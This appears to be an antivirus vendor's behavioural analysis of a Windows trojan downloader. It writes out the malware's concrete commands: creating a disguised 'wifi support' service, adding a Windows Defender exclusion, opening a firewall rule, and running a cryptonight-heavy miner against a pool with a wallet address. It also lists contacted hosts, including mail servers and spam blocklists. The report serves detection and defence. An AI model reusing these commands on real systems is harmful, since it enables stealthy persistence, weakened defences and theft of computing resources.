Trojan.DownLoader30.30411

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\xqirkrt] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\xqirkrt] 'ImagePath' = '%WINDIR%\SysWOW64\xqirkrt\pysxpojf.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\xqirkrt] 'ImagePath' = '%WINDIR%\SysWOW64\xqirkrt\pysxpojf.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\xqirkrt' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\pysxpojf.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\pysxpojf.exe to %WINDIR%\syswow64\xqirkrt\pysxpojf.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/
http://ap#.##-cy.ru:35000/

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ba####netltd.com
DNS ASK be##d.com
DNS ASK be###.###.mx1.royalpurple.rcimx.net
DNS ASK st###hota.com
DNS ASK we##.####.mx.exch081.serverdata.net
DNS ASK bi###nlaw.com
DNS ASK st##art.com
DNS ASK bi###gnet.com
DNS ASK as###.reflexion.net
DNS ASK se#####pity-park.com
DNS ASK sm##.##cureserver.net
DNS ASK bi###ails.de
DNS ASK tr###lite.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK ym####lumbus.org
DNS ASK ba######a.cybersharks.net
DNS ASK ba######avelconsultants.com
DNS ASK wp.pl
DNS ASK ba###rdi.net
DNS ASK mx#.##vestici.org
DNS ASK ym###hile.org
DNS ASK ba##ard.it
DNS ASK ya##o.fr
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK mx.#p.pl
DNS ASK ti####.ssi-net.net
DNS ASK hy##o.com
DNS ASK sm###.edelkey.net
DNS ASK ne###gator.com
DNS ASK im####.netvigator.com
DNS ASK vk.com
DNS ASK th###inmd.com
DNS ASK ym####lombia.org
DNS ASK lo###.vk.com
DNS ASK no###lor.com
DNS ASK mx##.##ndenserver.de
DNS ASK mx#.##ailsrvr.com
DNS ASK yo##ace.com
DNS ASK bt###nworld.com
DNS ASK mx.##.#topenworld.com
DNS ASK ya##o.de
DNS ASK mx#.###l.hostpoint.ch
DNS ASK st###ounter.com
DNS ASK ya##o.es
DNS ASK yb####.mail.yahoo.co.jp
DNS ASK ro###tmail.com
DNS ASK us#.#upont.com
DNS ASK mx#######d02.gslb.pphosted.com
DNS ASK zy###mes.com
DNS ASK za#####alconi.com.br
DNS ASK yb#.ne.jp
DNS ASK we###fritz.ch
DNS ASK mx#.##x.sunrise.ch
DNS ASK dp##net.ch
DNS ASK pi####leplanner.com
DNS ASK mx##.1and1.com
DNS ASK go##and.se
DNS ASK ma##.gotland.se
DNS ASK ti##ali.it
DNS ASK et###.#ail.tiscali.it
DNS ASK in####lectric.com
DNS ASK co##co.ca
DNS ASK li##ro.it
DNS ASK sm####n.libero.it
DNS ASK yo#.org
DNS ASK ya##o.co.uk
DNS ASK yo#####dresoltera.org
DNS ASK yo###pp.com.mx
DNS ASK mx.##geco.ca
DNS ASK alt2.aspmx.l.google.com
DNS ASK zy###nc.co.jp
DNS ASK ba####didentro.it
DNS ASK ap#.#r-cy.ru
DNS ASK mx##.#mig.gmx.net
DNS ASK ym###hicago.org
DNS ASK alt1.aspmx.l.google.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK we#.de
DNS ASK ve###ary.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK aspmx.l.google.com
DNS ASK ce##rum.cz
DNS ASK ca#.##rusfree.cz
DNS ASK li##y.com
DNS ASK ma######rde1.xh1.lilly.com
DNS ASK ya###.com.ar
DNS ASK gm#.de
DNS ASK mx###03.web.de
DNS ASK mx#.##p.sina.com
DNS ASK mx#.#omcast.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK o2.pl
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK mx.#len.pl
DNS ASK co##ast.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK vi#.#ina.com
DNS ASK vi##el.com
DNS ASK hk.####n.herominers.com
DNS ASK mx.######.#om.cust.a.hostedemail.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK gm##l.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK sh#w.ca
DNS ASK sm##.##b.shawcable.net
DNS ASK ca###four.com
DNS ASK ge##.com
DNS ASK ri#####aext01.roche.com
DNS ASK vo##fone.pt
DNS ASK xm#.##terhost.com
DNS ASK google.com
DNS ASK as.#now.edu
DNS ASK sy#####cinteractive.com
DNS ASK si##.com
DNS ASK mx#####.#ail.gm0.yahoodns.net
DNS ASK us###tanet.net
DNS ASK ma##.#luetie.com
DNS ASK ba##ard.cz
DNS ASK na##r.com
DNS ASK re###.sion.com
DNS ASK ya###.com.sg
DNS ASK sn##.edu
DNS ASK ma###n1.ynet.sk
DNS ASK yn#t.sk
DNS ASK ca####national.com
DNS ASK ma##.##ymannational.com
DNS ASK in####tion.sms.ac
DNS ASK ms##.hinet.net
DNS ASK ms#####p-mx2.hinet.net
DNS ASK ko##et.net
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK ma##.kornet.net
DNS ASK in####d.smtp.vt.edu
DNS ASK ms#.#inet.net
DNS ASK ms#####p-mx1.hinet.net
DNS ASK ya##o.com
DNS ASK wa##doo.fr
DNS ASK sm####n.orange.fr
DNS ASK vt.edu
DNS ASK mx#.#aver.com
DNS ASK ma##.#yx-inc.co.jp

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\xqirkrt\pysxpojf.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xqirkrt\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pysxpojf.exe" %WINDIR%\SysWOW64\xqirkrt\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create xqirkrt binPath= "%WINDIR%\SysWOW64\xqirkrt\pysxpojf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description xqirkrt "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start xqirkrt' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xqirkrt\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pysxpojf.exe" %WINDIR%\SysWOW64\xqirkrt\
'%WINDIR%\syswow64\sc.exe' create xqirkrt binPath= "%WINDIR%\SysWOW64\xqirkrt\pysxpojf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description xqirkrt "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start xqirkrt
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k